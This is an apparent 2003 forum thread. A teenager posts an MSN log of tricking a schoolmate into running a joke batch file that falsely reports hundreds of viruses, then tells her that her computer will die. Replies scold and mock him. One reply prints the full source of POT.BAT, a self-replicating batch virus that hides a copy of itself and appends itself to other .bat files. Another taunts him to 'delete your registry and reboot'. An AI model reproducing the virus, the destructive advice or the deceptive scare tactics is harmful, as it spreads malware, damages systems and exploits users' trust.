A funny MSN Chat Convo. I just had


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Alright, so I made this little batch file that was just full of echo's that said like, "You now have 237 (or something close to that, read below) viruses on your computer!" and then later it said, "You now have 573 viruses on your computer!" When really it wasn't doing anything. Just a joke I pulled on a girl from school five minutes ago. Even though she doesn't know it is a joke. Some of this convo. is either deleted due to pointless convo or it is **** out do to bad language (by her). My name is wh4t3v3r and she is the other user.

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Date Time From To Message

6/5/2003 7:31:33 PM wh4t3v3r To (*)Heather(*) hey

6/5/2003 7:31:39 PM (*)Heather(*) To wh4t3v3r hey

6/5/2003 7:32:17 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D what's up?

6/5/2003 7:32:24 PM (*) I wanna ride on a dirt bike!!:D wh4t3v3r ntuin u?

6/5/2003 7:32:27 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D will you try this wack-a-mole game

6/5/2003 7:32:29 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D that I made

6/5/2003 7:32:31 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D it is awesome

6/5/2003 7:32:36 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D just seeing what you think about

6/5/2003 7:32:36 PM (*) I wanna ride on a dirt bike!!:D To wh4t3v3r no

6/5/2003 7:32:42 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D why not?

6/5/2003 7:32:53 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D it isn't a virus

6/5/2003 7:32:58 PM (*) I wanna ride on a dirt bike!!:D To wh4t3v3r it is probably a porn thinging

6/5/2003 7:32:59 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D not everything on the internet is a virus

6/5/2003 7:33:01 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D or porn

6/5/2003 7:33:06 PM (*) I wanna ride on a dirt bike!!:D To wh4t3v3r hehe

6/5/2003 7:33:20 PM wh4t3v3r (*) I wanna ride on a dirt bike!!:D its a freaking wack-a-mole game

6/5/2003 7:33:26 PM (*) I wanna ride on a dirt bike!!:D To wh4t3v3r fine!

6/5/2003 7:33:33 PM wh4t3v3r To (*) I wanna ride on a dirt bike!!:D k

6/5/2003 7:33:39 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r how do i?

6/5/2003 7:33:44 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D let me send it

6/5/2003 7:33:47 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r ok

6/5/2003 7:34:16 PM wh4t3v3r sends wack-a-mole.bat

6/5/2003 7:34:35 PM Transfer of "wack-a-mole.bat" is complete.

6/5/2003 7:34:58 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r ok should i trust u?

6/5/2003 7:35:26 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D if you want :D

6/5/2003 7:35:52 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r ok

6/5/2003 7:39:10 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D dont worry

6/5/2003 7:39:14 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D I am playing it right now

6/5/2003 7:44:03 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D it is fun i swear to god

6/5/2003 7:49:12 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D did u run it yet

6/5/2003 7:49:12 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r u a**hole

6/5/2003 7:49:27 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D what did it say?

6/5/2003 7:49:36 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r it kept tellin me i had more and more viruses on my computer

6/5/2003 7:49:43 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r it last said i had 257

6/5/2003 7:50:16 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D what did it say after that stuff?

6/5/2003 7:50:22 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r idk

6/5/2003 7:50:28 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r i quit it

6/5/2003 7:50:37 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r i am gonna be in deep sh**

6/5/2003 7:50:46 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D why?

6/5/2003 7:51:00 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r cuz my computer is probably ruined!

6/5/2003 7:51:17 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D probably

6/5/2003 7:51:29 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r what am i supposed to do!

6/5/2003 7:52:33 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D here, I will make a program that will delete them all right quick

6/5/2003 7:52:36 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D the viruses

6/5/2003 7:52:44 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r yeah right!

6/5/2003 7:52:51 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D i made them

6/5/2003 7:52:53 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D well

6/5/2003 7:52:55 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D i didnt make them

6/5/2003 7:52:57 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D but the file did

6/5/2003 7:53:10 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r how do u make a program?

6/5/2003 7:53:20 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D the viruses are in the same folder, so I will delete that folder with the program

6/5/2003 7:53:21 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D ok?

6/5/2003 7:53:26 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D I will make one in like 1 minute and send you it

6/5/2003 7:53:28 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D and you run it

6/5/2003 7:53:49 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r no it will give me more viruses!

6/5/2003 7:54:44 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D no it wont

6/5/2003 7:54:51 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D it will delete all the viruses

6/5/2003 7:55:03 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r how in the hell do u make a program to delete them?

6/5/2003 7:55:54 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D it finds the folder then deletes that folder permantly

6/5/2003 7:56:02 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D i am done with it, run this, it should work

6/5/2003 7:56:26 PM wh4t3v3r sends viruskiller.bat

6/5/2003 7:57:02 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D accept the file transfer

6/5/2003 7:57:14 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D then run the file and it will delete the viruses permantly

6/5/2003 7:57:31 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D do u want the viruses gone or what?

6/5/2003 7:57:48 PM To (*)I wanna ride on a dirt bike!:D wh4t3v3r yeah

6/5/2003 7:57:52 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D then accept the file

6/5/2003 7:57:54 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r send it again

6/5/2003 7:58:02 PM wh4t3v3r sends viruskiller.bat

6/5/2003 7:58:04 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D there

6/5/2003 7:58:13 PM Transfer of "viruskiller.bat" is complete.

6/5/2003 7:59:02 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r it couldnt' be deleted i know have 537!

6/5/2003 7:59:06 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D WTF?

6/5/2003 7:59:24 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D Ah that sucks

6/5/2003 7:59:53 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D I'm sorry, I tried

6/5/2003 8:00:00 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r yeah

6/5/2003 8:00:04 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D those 537 viruses will probably screw your computer over

6/5/2003 8:01:32 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D your computer is going to die, i'm sorry

6/5/2003 8:01:36 PM (*)I wanna ride on a dirt bike!:D To wh4t3v3r shut up

6/5/2003 8:01:42 PM wh4t3v3r To (*)I wanna ride on a dirt bike!:D those viruses are most likely going to kill everything

6/5/2003 8:01:46 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D with that much viruses on there

6/5/2003 8:02:03 PM (*)I wanna ride on a dirt bike!:D wh4t3v3r no i have to buy like a 100$ thinging

6/5/2003 8:02:09 PM (*)I wanna ride on a dirt bike!:D wh4t3v3r to delete them

6/5/2003 8:02:18 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D more like 101$

6/5/2003 8:02:43 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D sowwy!

6/5/2003 8:03:10 PM wh4t3v3r (*)I wanna ride on a dirt bike!:D well, I gotta go! I don't think those viruses are going to be deleted, cause they are undetectable!

Edited by g0xg0x
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It was funnier when it was happening..I know..gay...but it was hilarious, she was cussing me out and stuff. Ibrim: I'm not that stupid. Incase you didn't know, I made the batch and sent it to her. It did NO harm to her computer. She just thinks it did.

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Yeah..I should've posted this under.."Gay and Pointless" if there was one, lol. It just seemed funny at the time. A mod can delete this if you want. I don't care.

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Ibrim: I'm not that stupid. Incase you didn't know, I made the batch and sent it to her. It did NO harm to her computer. She just thinks it did.

I hate to repeat myself, but: Please delete your registry and reboot.

Too much talent oozes from behind your internet connection.

You appear confused. I understand that you did no harm to her computer. That wasn't my point.

You try over and over to convince a girl who doesn't know allot about computers, to run a lame .bat file you scripted. She trusts you, runs it and then has to put up with your idiocy.

I don't understand why you would log it and post it on Neowin.

Are you trying to highlight to how handicapped your concept of humour is?

Do you walk around your neighbour hood wearing your mothers bra and panties? ...Or is self humiliation an activity you only engage in on-line?

Intelligence isn't finite. There's more than enough to go around, your more then welcome to grab a piece of it g0xg0x.

You made the batch? That's so sophisticated and wonderfully intelligent. :rolleyes:

Anyone can put together little poison scripts. Its not exactly rocket science.

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see...

---POT.BAT------------

@echo off%_PoT%

if '%PoT%=='I goto PoTz

if '%1=='_ goto PoTi

if exist C:\PoT.bat goto PoT

if not exist %0.bat goto PoTz

find "PoT"<%0.bat>C:\PoT.bat

attrib C:\PoT.bat +h

:PoT Makes You Feel Goodz

for %%f in (*.bat ..\*.bat C:\*.bat) do call C:\PoT.bat _ %%f

if '%PoT%=='I goto PoTf

set PoT=

echo %PoT%[32;"You're Stoned! "p

echo %PoT%[96;" C:\PoT";13p%PoT%[2A

echo.%_PoT%|time|find "00">nul

if errorlevel 1 goto PoTf

echo %PoT%[1A%PoT%[s%PoT%[1;37;44m

echo %PoT%[3;9H Let me outta here! %PoT%[0m%PoT%[u

:PoTf gold

set PoT=

goto PoTz

:PoTi nfect

find /i "PoT"<%2>nul

if not errorlevel 1 goto PoTz

type C:\PoT.bat>>%2

set PoT=I

:PoTz

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tell me you at least told the poor young girl that it was a joke?... you're not gonna let her go out and buy anything for that stupid of a reason... are you?

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Ok, look. I didn't do this for the hell of it. I did it as a joke because she always goes, "interesting" then pastes an IP Address (which leads to a site) that hosts a virus and it downloads it. An ACTUAL virus. If you were me, you would understand this more. If I post the whole conversation, you will see how annoying she is copying and pasting this IP address every 30 seconds. Seriously, you would wanna get back at her. If you want, I will post the WHOLE log and you will see how annoying she is.

Also, Ibrim, you're saying, "Big deal, a batch, that's easy to code." I never said anything about being a friggin' master coder cause I can code a batch file with easy as Ramen Noodles commands.

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grow up

Hey, I'll try..thanks..maybe if you get her email somehow you can tell her to also..I will post the WHOLE log and you will see that every 30 seconds, she posts the address of an internet site to a virus..but, whatever..i will post if you want.

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Actually, look. I dont know why I posted this. I am sorry and I know it's stupid. She knows it is a joke and all and isn't mad or anything. I know it was childish and Ibrim; I am sorry for trying to be a smart a** to you. Sorry!

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she isn't mad. Fine. But will she trust you ever again if you are going to send her stuff again?

Once bitten, twice shy. And most women on this planet are the grudging type. Good luck to you. :)

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Actually, look. I dont know why I posted this. I am sorry and I know it's stupid. She knows it is a joke and all and isn't mad or anything. I know it was childish and Ibrim; I am sorry for trying to be a smart a** to you. Sorry!

No need to apologize.

I did not realize you are quite young. If you were my child I would sell you on the black market.

People always say... "Children are our FUTURE! When they grow up, they might discover a CURE FOR CANCER!."

But as g0xg0x showed... It is just as likely they will torture kittens, wet their bed, listen to some ridiculous death metal band, be socially inept and eventually, send crappy batch scripts to on-line contacts.

If you won't delete your registry and reboot...at the very least un-install windows messenger.

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You are an idiot, if her MSN copy and pastes an IP address that leads to a real virus, I'LL BET YOU $100 MILLION DOLLARS that shes already got a virus.

use ur brain.

this virus has been out for a LONG time now...

girls would never ever waste time copy and pasting link to a virus site, use your head dummy.

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